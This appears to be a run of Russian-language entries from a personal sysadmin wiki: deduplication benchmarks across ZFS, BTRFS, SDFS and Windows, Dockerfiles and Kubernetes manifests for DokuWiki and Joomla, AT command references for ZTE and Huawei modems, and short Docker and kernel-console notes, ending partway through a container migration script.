Unique Blocks Stored: 38.3 GB
Unique Blocks Stored after Compression : 38.4 GB
Cluster Block Copies : 2
Volume Virtual Dedup Rate (Unique Blocks Stored/Current Size) : 18.22%
Volume Actual Storage Savings (Compressed Unique Blocks Stored/Current Size) : 18.02%
Compression Rate: -0.25%

Производительность:

dd if=/dev/zero of=/mnt/TEST.ZERO bs=16384
401942+0 records in
401942+0 records out
6585417728 bytes (6.6 GB, 6.1 GiB) copied, 41.545 s, 159 MB/s



Tasks: 581 total,   2 running, 579 sleeping,   0 stopped,   0 zombie
%Cpu(s): 44.8 us, 35.8 sy,  0.0 ni, 18.9 id,  0.2 wa,  0.0 hi,  0.0 si,  0.3 st
KiB Mem :  4037716 total,   119480 free,  2389112 used,  1529124 buff/cache
KiB Swap:  1171452 total,  1157324 free,    14128 used.  1533060 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                                      
 3024 root      20   0 4008900 1.273g 320148 S 143.2 33.1  18:12.32 jsvc                                                                                                                                                         
 5337 root      20   0    7332    704    632 R  14.9  0.0   0:03.98 dd                                                                                                                                                           
 5345 user      20   0   42348   4052   2996 R   1.0  0.1   0:00.16 top

Windows 2012R2 + NTFS + deduplication

В то же время с тем же набором данных на NTFS:

PS C:\Windows\system32> Get-DedupStatus F: | fl


Volume                             : F:
VolumeId                           : \\?\Volume{69c27e73-82e4-4962-bce6-d83d0b7e0616}\
Capacity                           : 49.87 GB
FreeSpace                          : 10.8 GB
UsedSpace                          : 39.07 GB
UnoptimizedSize                    : 48.35 GB
SavedSpace                         : 9.28 GB
SavingsRate                        : 19 %
OptimizedFilesCount                : 1967
OptimizedFilesSize                 : 47.69 GB
OptimizedFilesSavingsRate          : 19 %
InPolicyFilesCount                 : 1967
InPolicyFilesSize                  : 47.69 GB
LastOptimizationTime               : 4/21/2017 10:45:09 AM
LastOptimizationResult             : 0x00000000
LastOptimizationResultMessage      : The operation completed successfully.
LastGarbageCollectionTime          : 4/20/2017 4:44:56 PM
LastGarbageCollectionResult        : 0x00565302
LastGarbageCollectionResultMessage : There are no actions associated with this job.
LastScrubbingTime                  :
LastScrubbingResult                :
LastScrubbingResultMessage         :

Windows 2012R2 + NTFS + compression + deduplication

А вот результат, если применить к тому компрессию NTFS, а затем дедуплицировать данные:

PS C:\Windows\system32> Get-DedupStatus F: | fl


Volume                             : F:
VolumeId                           : \\?\Volume{69c27e73-82e4-4962-bce6-d83d0b7e0616}\
Capacity                           : 49.87 GB
FreeSpace                          : 11.7 GB
UsedSpace                          : 38.18 GB
UnoptimizedSize                    : 47.45 GB
SavedSpace                         : 9.28 GB
SavingsRate                        : 19 %
OptimizedFilesCount                : 1963
OptimizedFilesSize                 : 46.82 GB
OptimizedFilesSavingsRate          : 19 %
InPolicyFilesCount                 : 1963
InPolicyFilesSize                  : 46.82 GB
LastOptimizationTime               : 4/25/2017 9:26:35 AM
LastOptimizationResult             : 0x00000000
LastOptimizationResultMessage      : The operation completed successfully.

Эффективность немного выше, чем без компрессии.

Выводы

Эффективность дедупликации Windows 2012R2 существенно превышает эффективность дедупликации ZFS и BTRFS. На одинаковом наборе данных дедупликация Windows 2012R2 сохраняет больше места, чем ZFS и BTRFS, которые показывают примерно одинаковую эффективность дедупликации.
Конкурировать с дедупликацией Windows может только SDFS - http://www.opendedup.org. Значительно (по сравнениею с Windows 2012R2) сэкономить место позволила конфигурация в которой контейнер SDFS размещен на томе BTRFS. В Windows 2012R2 после размещения файлов осталось свободно около 11Gb, на томе BTRFS с контейнером SDFS осталось свободно около 13Gb.

Важно отметить, что Windows и BTRFS выполняют дедупликацию уже размещенных данных по расписанию, а ZFS и SDFS дедуплицирует данные в момент записи данных in-line. При этом, для нормальной работы дедупликации на ZFS система должна иметь много памяти. По разным оценкам - от 2Gb до 5Gb RAM на 1Tb данных - https://wiki.freebsd.org/ZFSTuningGuide. SDFS расходует память значительно экономичнее.

Даже на плохосжимаемых данных компрессия ZFS дает больший выигрыш, чем дедупликация, а уменьшение recordsize выигрыша в свободном пространстве не дает, но снижает производительность.

В результате лидером по количеству сэкономленного места, по моим наблюдениям, стала связка BTRFS compress-force=zlib + SDFS.

deploy_dokuwiki_in_kubernetes

anonymous@undisclosed.example.com (Anonymous) — Thu, 30 Jan 2020 11:17:07 +0000

Todo:

change sendmail path in php.ini

Dockerfile

Вариант с postfix

Недостаток - жирный сервис постфикса нужно запускать в контейнере.

FROM php:fpm
RUN echo "postfix postfix/main_mailer_type string 'Satellite system'" | debconf-set-selections \
    && echo "postfix postfix/mailname string autosys.tk" | debconf-set-selections \
    && DEBIAN_FRONTEND=noninteractive apt-get update && apt-get install -y \
    postfix \
    libfreetype6-dev \
    libjpeg62-turbo-dev \
    libpng-dev \
    libicu-dev \
    libldap2-dev \
    libxml2-dev \
    libxslt1-dev \
    libwebp-dev \
    libxpm-dev \
 && CFLAGS="-I/usr/src/php" docker-php-ext-configure gd --with-gd --with-webp-dir --with-jpeg-dir \
    --with-png-dir --with-zlib-dir --with-xpm-dir --with-freetype-dir \
 && CFLAGS="-I/usr/src/php" docker-php-ext-install -j$(nproc) pcntl exif gd \
    calendar gettext intl ldap shmop sockets sysvmsg \
    sysvsem sysvshm tokenizer xml xmlreader xmlwriter xsl \
 && apt-get clean \
 && rm -Rf /var/www/* \
 && chown -R www-data:www-data /var/www \
 && postconf -e "smtp_generic_maps = hash:/etc/postfix/generic" \
 && postconf -e "relayhost = mail.autosys.tk" \ 
 && postconf -e "mydestination = localhost" \
 && echo 'www-data mike@autosys.tk' >> /etc/postfix/generic \
 && echo 'root mike@autosys.tk' >> /etc/postfix/generic \
 && postmap /etc/postfix/generic \
 && echo "root: mike@autosys.tk" >> /etc/aliases \
 && echo "www-data: mike@autosys.tk" >> /etc/aliases \
 && newaliases \
 && mkfifo /var/spool/postfix/public/pickup \
 && sed -i '/sendmail_path/ s/=.*$/= "\/usr\/sbin\/sendmail -t -i"/' /usr/local/etc/php/php.ini-production \
 && sed -i '/sendmail_path/ s/^.*;//' /usr/local/etc/php/php.ini-production \
 && mv /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini \
 && sed -i '/exec/ s/^/service postfix start \& /' /usr/local/bin/docker-php-entrypoint

Вариант с nullmailer

http://www.panticz.de/install-nullmailer

FROM php:fpm
RUN echo "nullmailer shared/mailname string wiki.autosys.tk" | debconf-set-selections \
    && echo "nullmailer nullmailer/relayhost string mail.autosys.tk smtp" | debconf-set-selections \
    && echo "nullmailer nullmailer/adminaddr string mike@autosys.tk" | debconf-set-selections \
    && echo "nullmailer nullmailer/defaultdomain string autosys.tk" | debconf-set-selections \
    && apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \
    nullmailer \
    libfreetype6-dev \
    libjpeg62-turbo-dev \
    libpng-dev \
    libicu-dev \
    libldap2-dev \
    libxml2-dev \
    libxslt1-dev \
    libwebp-dev \
    libxpm-dev \
 && CFLAGS="-I/usr/src/php" docker-php-ext-configure gd --with-gd --with-webp-dir --with-jpeg-dir \
    --with-png-dir --with-zlib-dir --with-xpm-dir --with-freetype-dir \
 && CFLAGS="-I/usr/src/php" docker-php-ext-install -j$(nproc) pcntl exif gd \
    calendar gettext intl ldap shmop sockets sysvmsg \
    sysvsem sysvshm tokenizer xml xmlreader xmlwriter xsl \
 && apt-get clean \
 && rm -Rf /var/www/* \
 && chown -R www-data:www-data /var/www \
 && sed -i '/sendmail_path/ s/=.*$/= "\/usr\/sbin\/sendmail -f mike@autosys.tk -t -i"/' /usr/local/etc/php/php.ini-production \
 && sed -i '/sendmail_path/ s/^.*;//' /usr/local/etc/php/php.ini-production \
 && mv /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini \
 && sed -i '/exec/ s/^/service nullmailer start \& /' /usr/local/bin/docker-php-entrypoint

Собираем и пушим образ

docker build -t registry.autosys.tk/dokuwiki-php .
docker login -u _reg_user_ -p __superpassword__ registry.domain.com
#docker tag dokuwiki-php registry.autosys.tk/dokuwiki-php
docker push registry.autosys.tk/dokuwiki-php

Создаем объекты в kubernetes

kind: Namespace
apiVersion: v1
metadata:
  name: wiki
  labels:
    name: wiki
---
apiVersion: v1
data:
  .dockerconfigjson: ewoJ....
kind: Secret
metadata:
  name: autosys-regcred
  namespace: wiki
type: kubernetes.io/dockerconfigjson
---
apiVersion: apps/v1
kind: Deployment
metadata:    
  name: wiki
  namespace: wiki
spec:
  replicas: 1
  selector:  
    matchLabels:
      app: wiki
  template:  
    metadata:
      labels:
        app: wiki
    spec:
      imagePullSecrets:
      - name: autosys-regcred
      containers:    
        - name: wiki-php-fpm
          image: registry.autosys.tk/dokuwiki-php
          volumeMounts:
            - name: doku-wiki-files
              mountPath: /var/www
        - name: wiki-nginx
          image: nginx
          volumeMounts:
            - name: doku-wiki-files
              mountPath: /var/www
            - name: nginx-config-volume
              mountPath: /etc/nginx/nginx.conf
              subPath: nginx.conf
      volumes:
        - name: doku-wiki-files
          persistentVolumeClaim:
            claimName: doku-wiki-files-pv-claim
        - name: nginx-config-volume
          configMap:
            name: nginx-config       
      
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: doku-wiki-files-pv-claim
  namespace: wiki
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 20Gi
  selector:
    matchLabels:
      app: wiki
---
apiVersion: v1
kind: PersistentVolume
metadata:
   name: doku-wiki-data-pv
   namespace: wiki
   labels:
     app: wiki
spec:
  capacity:
    storage: 20Gi
  accessModes:
  - ReadWriteOnce
  hostPath:
    path: "/kubernetes_volumes/wiki-data"
    type: Directory
  persistentVolumeReclaimPolicy: Retain
  claimRef: {}
---
kind: ConfigMap
apiVersion: v1
metadata:
  name: nginx-config
  namespace: wiki
data:
  nginx.conf: |
    user www-data;
    worker_processes 4;
    worker_rlimit_nofile 100000;
    
    events {
        worker_connections 4000;
        multi_accept on;
        use epoll;
    }
    http {
        ##
        # Basic Settings
        ##
        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        types_hash_max_size 2048;
        server_tokens off;

        ##
        # Cache
        ##
        open_file_cache max=200000 inactive=20s;
        open_file_cache_valid 30s;
        open_file_cache_min_uses 2;
        open_file_cache_errors on; 

        include /etc/nginx/mime.types;
        default_type application/octet-stream;
        
        ##
        # Gzip Settings
        ##
        # reduce the data that needs to be sent over network -- for testing environment
        gzip on;
        # gzip_static on;
        gzip_min_length 10240;
        gzip_comp_level 9;
        gzip_vary on;
        gzip_disable msie6;
        gzip_proxied expired no-cache no-store private auth;
        gzip_types
                text/html
                text/css
                text/javascript
                text/xml
                text/plain
                text/x-component
                application/javascript
                application/x-javascript
                application/json
                application/xml
                application/rss+xml
                application/atom+xml
                font/truetype
                font/opentype
                application/vnd.ms-fontobject
                image/svg+xml;

        ##
        # Misc options
        ##

        # allow the server to close connection on non responding client, this will free up memory
        reset_timedout_connection on;

        # request timed out -- default 60
        client_body_timeout 10;

        # if client stop responding, free up memory -- default 60
        send_timeout 2;

        # server will close connection after this time -- default 75
        keepalive_timeout 30;

        # number of requests client can make over keep-alive -- for testing environment
        keepalive_requests 100000;

      server {
        listen 80 default_server;
        listen [::]:80 default_server;

        root /var/www;
        #server_name dokuwiki;
        autoindex off;
        client_max_body_size 15M;
        client_body_buffer_size 128k;
        index doku.php;   
        
        location ~ /(data|conf|bin|inc|vendor)/ {
          deny all;
        }
        
        location / {
          try_files $uri $uri/ @dokuwiki;
        }
 
        location ~ ^/lib.*\.(jpg|jpeg|png|gif|ico|css|js|svg)$ {
          expires 30d;
        }

        location = /robots.txt  { access_log off; log_not_found off; }
        location = /favicon.ico { access_log off; log_not_found off; }
        location ~ /\.          { access_log off; log_not_found off; deny all; }
        location ~ ~$           { access_log off; log_not_found off; deny all; }

        location @dokuwiki {
          rewrite ^/([\d\s\w]*)(\.)(.*)(\.ashx) /$1/$3 last;
          rewrite ^/_media/(.*) /lib/exe/fetch.php?media=$1 last;
          rewrite ^/_detail/(.*) /lib/exe/detail.php?media=$1 last;
          rewrite ^/_export/([^/]+)/(.*) /doku.php?do=export_$1&id=$2 last;
          rewrite ^/(.*) /doku.php?id=$1 last;
        }

        location ~ \.php$ {
            include /etc/nginx/fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
            try_files $uri =404;
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_intercept_errors        on;
            fastcgi_ignore_client_abort     off;
            fastcgi_connect_timeout 60;
            fastcgi_send_timeout 180;
            fastcgi_read_timeout 180;
            fastcgi_buffer_size 128k;
            fastcgi_buffers 4 256k;
            fastcgi_busy_buffers_size 256k;
            fastcgi_temp_file_write_size 256k;
        }
      }
    }
---
apiVersion: v1
kind: Service
metadata:
  name: wiki-http
  namespace: wiki
spec:
  selector: 
    app: wiki
  type: ClusterIP
  ports:
  - name: http
    port: 80
    protocol: TCP
    targetPort: 80
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
    cert-manager.io/cluster-issuer: letsencrypt
    nginx.ingress.kubernetes.io/proxy-body-size: "0"
    nginx.ingress.kubernetes.io/proxy-read-timeout: "3600"
    nginx.ingress.kubernetes.io/proxy-send-timeout: "3600"
  name: wiki-ingress
  namespace: wiki
spec:
  rules:
  - host: wiki.autosys.tk
    http:
      paths:
      - backend:
          serviceName: wiki-http
          servicePort: 80
        path: /
  tls:
  - hosts:
    - wiki.autosys.tk
    secretName:  wiki-autosys-tk-tls

deploy_joomla_with_postgres_db_in_kubernetes

anonymous@undisclosed.example.com (Anonymous) — Thu, 26 Dec 2019 14:10:12 +0000

php-fpm Dockerfile

FROM php:fpm
RUN echo "nullmailer shared/mailname string ruscourse.ru" | debconf-set-selections \
    && echo "nullmailer nullmailer/relayhost string mail.autosys.tk smtp" | debconf-set-selections \
    && echo "nullmailer nullmailer/adminaddr string mike@autosys.tk" | debconf-set-selections \
    && echo "nullmailer nullmailer/defaultdomain string autosys.tk" | debconf-set-selections \
    && apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \
    nullmailer \
    libfreetype6-dev \
    libjpeg62-turbo-dev \
    libpng-dev \
    libicu-dev \
    libldap2-dev \
    libxml2-dev \
    libxslt1-dev \
    libwebp-dev \
    libxpm-dev \ 
    libpq-dev \
 && CFLAGS="-I/usr/src/php" docker-php-ext-configure gd --with-gd --with-webp-dir --with-jpeg-dir \
    --with-png-dir --with-zlib-dir --with-xpm-dir --with-freetype-dir \
 && CFLAGS="-I/usr/src/php" docker-php-ext-install -j$(nproc) pcntl exif gd \
    calendar gettext intl ldap shmop sockets sysvmsg \
    sysvsem sysvshm tokenizer xml xmlreader xmlwriter xsl \
    pdo pdo_pgsql \
 && apt-get clean \
 && rm -Rf /var/www/* \
 && chown -R www-data:www-data /var/www \
 && sed -i '/sendmail_path/ s/=.*$/= "\/usr\/sbin\/sendmail -f mike@autosys.tk -t -i"/' /usr/local/etc/php/php.ini-production \
 && sed -i '/sendmail_path/ s/^.*;//' /usr/local/etc/php/php.ini-production \
 && mv /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini \
 && sed -i '/exec/ s/^/service nullmailer start \& /' /usr/local/bin/docker-php-entrypoint

devops

anonymous@undisclosed.example.com (Anonymous) — Sun, 25 Aug 2019 14:06:33 +0000

Rancher

Rancher - это веб-интерфейс для kubernetes. Раньше был самостоятельной системой орекстрации.
https://habr.com/ru/post/418691/
EУстанавливается как контейнер Docker.

dial_with_zte_mf100

anonymous@undisclosed.example.com (Anonymous) — Wed, 04 Nov 2020 19:27:12 +0000

at_command_manual_for_zte_corporation_me3000_v2_module_v1.5.pdf

Регистрация в сети:

AT+CREG=1

Текущий статус регистрации в сети:

AT+CREG?
+CREG: 1,1

1,1 значит, что в сети зарегистрирован.

https://4pda.ru/forum/index.php?showtopic=276420&view=findpost&p=42331481
Вот например лишь малая часть АТ- команд для модемов серии ZTE MF

AT+ZCDRUN=E удаляет файл NODOWNLOAD.FLG
AT+ZCDRUN=F восстанавливает NODOWNLOAD.FLG
AT+ZCDRUN=8 удаляет файл autorun.flg
AT+ZCDRUN=9 восстанавливает autorun.flg

Установка разных режимов работы для ZTE MF:

AT+ZSNT=0,0,0 (Авто) — по умолчанию
AT+ZSNT=0,0,1 Автоматический выбор сети: GSM+WCDMA, предпочтение GSM
AT+ZSNT=0,0,2 Автоматический выбор сети: GSM+WCDMA, предпочтение WCDMA
AT+ZSNT=1,0,0 Автоматический выбор сети: только GSM
AT+ZSNT=2,0,0 Автоматический выбор сети: только WCDMA

AT+ZSNT=0,1,0 Ручной выбор сети: GSM+WCDMA
AT+ZSNT=1,1,0 Ручной выбор сети: только GSM
AT+ZSNT=2,1,0 Ручной выбор сети: только WCDMA

Установить диапазон для ZTE MF:

+ZBANDI
at+zbandi=0 (Auto) — Default Автоматическое переключение
at+zbandi=1 UMTS 850 + GSM 900/1800
at+zbandi=2 UMTS 2100 + GSM 900/1800 (Europe)
at+zbandi=3 UMTS 850/2100 + GSM 900/1800
at+zbandi=4 UMTS 850/1900 + GSM 850/1900

AT команды для модемов на процессоре ICERA таких как например ZTE MF192, а так же ZTE MF652

AT команда AT%USBMODEM=0 переводит модем в режим «Только модем».
AT команда AT%USBMODEM=1 переводит модем в режим «Модем+CD ROM»

AT команды для модемов Huawei

https://telefon-unlock.ru/page/75/spisok-at-komand-dlya-modemov-huawei/

ATI - вывод информации о модеме
AT+CFUN=1 – перезагрузка модема, очень полезная команда не требует “передергивать” модем. После перезагрузки модем перерегистрируется в сети оператора.
AT+CGMI - информация о производителе модема (Recieve: huawei)
AT+CGMR - информация о версии прошивки (Recieve: 11.608.12.04.21)
AT+CIMI - информация об IMSI номер SIM карты (Recieve: 250015800471114)
AT+CGSN - информация о IMEI модема (Recieve: 353142033840706)
AT^HWVER - информация о версии железа модема (Recieve: ^HWVER:“CD6ATCPU”)
AT+CSQ - посмотреть уровень радиосигнала
AT^CMDL - получить список всех комманд
AT+CGMM или AT+GMM - запросить название модели
AT+COPS - информация о текущем операторе (Recieve: +COPS: (1,“MTS-RUS”,“MTS”,“25001”,0),(2,“MTS-RUS”,“MTS”,“25001”,2),,(0,1,2,3,4),(0,1,2))
AT^U2DIAG? - текущий режим.
AT^GETPORTMODE – список всех устройств в модеме
AT^VERSION? - информация о версии прошивки модема
AT+CLAC в ответе будет список поддерживаемых команд

Включение голосовых функций модема:

AT^CVOICE=? – проверка состояния голосовых функций модема (0 - значит включено)
AT^CVOICE=0 – включение голосовых функций модема

Включение / отключение режимов 2G и 3G:

AT^SYSCFG=13,1,3fffffff,0,0 – режим только 2G
AT^SYSCFG=2,1,3fffffff,0,0 – режим предпочтительно 2G
AT^SYSCFG=14,2,3fffffff,0,1 – режим только 3G
AT^SYSCFG=2,2,3fffffff,0,1 – режим предпочтительно 3G
AT^SYSCFG=2,2,3fffff ff,0,2 – режим включение 2G и 3G

Включение / отключение режимов WCDMA, HSDPA, HSPA+, HSPA:

AT^HSDPA=1 – режим HSDPA включен
AT^HSDPA=0 – режим HSDPA выключен
AT^HSUPA=1 – режим HSUPA включен
AT^HSUPA=0 – режим HSUPA выключен
AT^HSPA=0 – режим WCDMA
AT^HSPA=1 – режим HSDPA
AT^HSPA=2 – режим HSPA
AT^HSPA=3 – режим HSPA+
AT^SYSCFG=13,1,3FFFFFFF,2,4 – режим только GPRS/EDGE
AT^SYSCFG=14,2,3FFFFFFF,2,4 – режим только 3G/WCDMA
AT^SYSCFG=2,1,3FFFFFFF,2,4 – режим предпочтительно GPRS/EDGE
AT^SYSCFG=2,2,3FFFFFFF,2,4 – режим предпочтительно 3G/WCDMA

Команды необходимые для разблокировки модема (разлочка модема)

AT^CARDLOCK=“NCK Code” – ввод кода снятия блокировки (8-значное число)
AT^CARDUNLOCK=“MD5 NCK Code” – сброс попыток ввода кода NCK кода разблокировки до 10 раз
AT^CARDLOCK? – проверка состояния блокировки модема и количества попыток ввода кода разблокировки: (ответ модема: CARDLOCK: A,B,0 , если A=2 модем разблокирован, A=1 модем заблокирован – SimLock, если A=3 здесь два варианта либо вы израсходовали все 10 попыток ввести код, либо у вас в модеме кастомизированная прошивка, B – количество оставшихся попыток ввода кода разблокировки (по умолчанию 10 раз))

AT-команды для модемов Huawei E171 с прошивкой v21.156.00.00.143, E352, E353, E367, E398 и др.
AT^SETPORT=“A1,A2,1,2,3,7,A1,A2” (Установить конфигурацию по умолчанию)
AT^SETPORT=“A1,A2,1,2,3,7” (девайс в режиме “модем + сетевая карта”)
AT^SETPORT=“A1,A2;1,2,3,A2” (девайс в режиме “модем + Card Reader”)
AT^SETPORT=“A1,A2;1,2,3” (девайс в режиме “только модем”)
AT^SETPORT=“A1,2,7” (девайс в режиме “сетевая карта + CD-ROM”)
AT^SETPORT=“A1,A2,2,7” (девайс в режиме “сетевая карта”) - для Windows 7
AT^SETPORT=“A1;1,2” (девайс в режиме “модем + пользовательский интерфейс”)
AT^SETPORT? (Текущая конфигурация модема)
AT^GETPORTMODE (Отображение текущего активного режима)
AT^SETPORT=“A1,A2,1,2,3,7,A1,A2,4,5,6,A,B,D,E” (Сброс настроек по умолчанию)

Настройки режимов сети по умолчанию для Huawei E352

at^hspa?
```
^HSPA: 2
```
AT^SETPORT?
```
A1,A2;1,2,3,7,A1,A2
```
AT^SYSCFG?
```
^SYSCFG:2,2,3FFFFFFF,1,2
```

Настройки режимов сети по умолчанию для Huawei E352b (21.158.23.00.209)

AT^SETPORT?
A1,A2;1,16,3,2,A1,A2

AT-команды для модема Huawei E1750

АТ команды переключения режимов huawei E1750
AT^U2DIAG=0 (девайс в режиме только модем)
AT^U2DIAG=1 (девайс в режиме модем + CD-ROM)
AT^U2DIAG=6 (девайс в режиме только сетевая карта)
AT^U2DIAG=268 для E1750 (девайс в режиме модем + CD-ROM + Card Reader)
AT^U2DIAG=276 для E1750 (девайс в режиме сетевой карты + CD-ROM + Card Reader)
AT^U2DIAG=256 (девайс в режиме модем + Card Reader, можно использовать как обычную флешку, отказавшись от установки драйверов модема)

АТ команды переключения режимов сети huawei E1750

AT^SYSCFG=14,2,3fffffff,1,2 (Только 3G)
AT^SYSCFG=13,1,3fffffff,1,2 (Только GSM)
AT^SYSCFG=2,2,3fffffff,1,2 (Приоритет 3G)

AT-команды переключения режимов сети для модема Huawei E1820 (E182E)

AT^SYSCFG=13,2,3fffffff,1,2 - только GSM
AT^SYSCFG=2,1,3fffffff,1,2 - преимущественно GSM
AT^SYSCFG=14,2,3fffffff,1,2 - только WCDMA
AT^SYSCFG=2,2,3fffffff,1,2 - преимущественно WCDMA

AT-команды для модема Huawei E3131

AT^SETPORT=“A1,A2;1,16,3,2,A1,A2” - (Установить конфигурацию по умолчанию)
AT^SETPORT=“A1,A2;1,2,3,16,A1,A2” - (режим для работы модема с Android 4.0 (иногда работает))
AT^SETPORT=“A1,A2;1,16,3,2” - (девайс в режиме “модем + сетевая карта”)
AT^SETPORT=“A1,A2;1,3,2,A2” - (девайс в режиме “модем + Card Reader”)
AT^SETPORT=“A1,A2;1,3,2” - (девайс в режиме “только модем”)
AT^SETPORT=“FF;1,2” (девайс в режиме “модем + пользовательский интерфейс”)
AT^SETPORT=“A1,A2;2,16” - (девайс в режиме “сетевая карта”)
AT^SETPORT=“A1,A2;2,16,A1” - (девайс в режиме “сетевая карта + CD-ROM”)

AT-команды для модема Huawei E3131Hilink

http://192.168.1.1/html/switchProjectMode.html

AT^U2DIAG=0 Перевод модема из режима Hilink в режим com портов
AT^U2DIAG=119 Возврат в исходный режим

AT команды для модема Huawei E303 HiLink

http://192.168.1.1/html/switchProjectMode.html

AT^U2DIAG=374 Перевод модема из режима Hilink в режим com портов
AT^U2DIAG=375 Возврат в исходный режим

AT команды для модема Huawei E3272

AT^SETPORT=“A1,A2;62,61,76,A1,A2” - Установка по умолчанию для МТС 824F.
AT^SETPORT=“A1,A2;10,12,16,A1,A2” - Установка по умолчанию для Мегафон М100-4.

AT команды для модема Huawei E3372

AT^SETPORT=“A1,A2;A1,A2” - Установка по умолчанию для МТС 827F.
AT^SYSCFG=“2,2,3FFFFFFF,1,2” - Установка по умолчанию для МТС 827F.

AT команды для модема Huawei E3276

AT^SETPORT=“A1;10,12,13,14,16,A1,A2” - Включает все COM порты.
AT^SETPORT=“A1,A2;12,16,A1,A2” - Установка по умолчанию.
AT^SETPORT=”A1;10,12” - режим только модем
AT^SYSCFGEX? - значение по умолчанию ^SYSCFGEX:“00”,3FFFFFFF,1,2,800C5

AT^SYSCFGEX=?

^SYSCFGEX: ("00","01","02","03"),((2000000400380,"GSM900/GSM1800/WCDMA900/WCDMA2100"),(2a80000,"GSM850/GSM1900/AWS/WCDMA1900"),(3fffffff,"All bands")),(0-2),(0-4),((800c5,"LTE_B1/LTE_B3/LTE_B7/LTE_B8/LTE_B20"),(7fffffffffffffff,"All bands"))

AT^FHVER - показывает информацию о версии прошивки и версии железа (^FHVER:“E3276s-210 21.260.05.00.143,CH2E3276SM Ver.B”)

AT команды для модема Huawei E3531

AT^SETPORT=“A1,A2;1,16,3,2,A1,A2” - Установка по умолчанию для МТС 423S.
AT^FHVER - - показывает информацию о версии прошивки и версии железа (^FHVER:“E3531s-1EA 21.318.15.00.143,CH1E3531SM Ver.A”)

AT команды для преключения режимов в модемах huawei с LTE (E392, E398)

Если для USB-модема вы хотите включить режим только LTE, отключив все остальные, необходимо воспользоваться AT командой:

AT^SYSCFGEX=“03”,3fffffff,2,4,7fffffffffffffff,,

В указанной команде первое значение расшифровывается так: 00 - Автоматический режим, установлен по умолчанию (приоритеты в порядке очереди: 4G > 3G > 2G)
01 - GSM GPRS(2G)
02 - WCDMA(3G)
03 - LTE(4G)
99 - Оставить текущие настройки без изменений.

Вы можете также выбрать порядок их приоритета, в порядке убывания, например:

AT^SYSCFGEX=“0302”,3fffffff,2,4,7fffffffffffffff,,

В этом случае модем будет пытаться подключиться сначала к сети LTE и потом к сети 3G, кроме работы в сетях 2G. или такой вариант:

AT^SYSCFGEX="030201",3fffffff,2,4,7fffffffffffffff,,

это равносильно

AT^SYSCFGEX=“00”,3fffffff,2,4,7fffffffffffffff,,

Соответственно автоматический режим, установлен по умолчанию (приоритеты в порядке очереди: 4G > 3G > 2G)

disable_kernel_messages_on_console

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Иногда ядро бывает собрано так, что сообщения ядра (ошибки) выводятся в консоль и очень мешают. Для того, чтобы отключить это нужно помнить о двух опциях dmesg:

--D, --console-off           disable printing messages to console
--E, --console-on            enable printing messages to console

то есть нужно выполнить:

sudo dmesg -D

или, что эквивалентно:

sudo dmesg -n 1

И, если нужно, добавить эту команду в /etc/rc.local

docker-fuse-overlayfs-performance-tuning

anonymous@undisclosed.example.com (Anonymous) — Fri, 06 Oct 2023 10:23:02 +0000

Тут я пытаюсь найти способы оптимизации сборки dind + fuse-overlayfs https://github.com/containers/buildah/issues/2411#issuecomment-704250886

--storage-opt dm.mountopt=fsync=0

docker.io_vs_docker-ce

anonymous@undisclosed.example.com (Anonymous) — Thu, 16 Jan 2020 20:36:16 +0000

Что использовать на Debian/Ubuntu - docker.io или docker-ce

Что использовать на Debian/Ubuntu - docker.io или docker-ce и чем они отличаются.
Длинный ответ на английском языке тут: https://stackoverflow.com/a/57678382
Короткий ответ на русском такой:

Пакет docker.io поддерживается мантейнерами Debian/Ubuntu и каждая библиотека, от которой он зависит представляет собой отдельный пакет из репозитория. При необходимости (например - обнаружении уязвимости) отдельные зависимости могут быть обновлены независимо друг от друга и ничего вероятность, что что-то сломается после обновления - минимальна.
Пакет docker-ce собран статически в стиле GoLang. Это значит, что при обновлении пакета обновляются все компоненты, от которых зависит Docker. С одной стороны - это хорошо (для Docker), но с другой стороны, если бы все пакеты в системы собирались бы также - это привело бы к огромному числу дублей одних и тех же библиотек (но различных версий) в системе (и в пямяти).

С практической точки зрения - в среде Debian/Ubuntu логичнее и оптимальнее (с точки зрения ресурсов) использовать docker.io. К тому же, это несколько снижает вероятность получить неработающий Docker после apt update && apt upgrade.

docker_access_is_not_authorized

anonymous@undisclosed.example.com (Anonymous) — Fri, 15 Nov 2019 20:29:50 +0000

Проблема

docker login -u username registry.autosys.tk
Password: 
WARNING! Your password will be stored unencrypted in /home/user/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded

Однако при ппытке выполнить:

docker push ...

Ошибка:

docker push registry.autosys.tk/dokuwiki-php
The push refers to repository [registry.autosys.tk/dokuwiki-php]
...
...
unauthorized: access to the requested resource is not authorized

https://github.com/docker/docker-credential-helpers/issues/102

docker_migrate_to_another_host

anonymous@undisclosed.example.com (Anonymous) — Wed, 21 Aug 2019 07:00:35 +0000

https://bobcares.com/blog/move-docker-container-to-another-host/
https://stackoverflow.com/questions/28734086/how-to-move-docker-containers-between-different-hosts

Задача

Нужно мигрировать контейнеры docker (инсталляцию AWX) на новый хост. Инсталляция содержит 5 контейнеров, развернутых с помощью docker compose.
Контейнеры имеют смонтированные volumes, а также имеют файлы, установленные непосредственно в контейнер.

Переносим Volumes

Предварительно, на целевом хосте настроена аутентификация по ключу, пользователь добавлен в группу sudo, а в /etc/sudoers прописано %sudo ALL=(ALL) NOPASSWD:ALL.
Скрипт просматривает конфигурацию контейнеров awx, берет оттуда настройки mounts, создает на удаленном хосте такие же и копирует данные.

#!/bin/bash
remote_host=awx
user=usik.ma
#pass=password
rsync_path="sudo rsync"
containers=`docker container ls --format "{{json .Names}}" | grep awx_ | sed 's/\"//g'`
for container in $(echo $containers)
do
  echo "container - $container"
  docker container stop $container
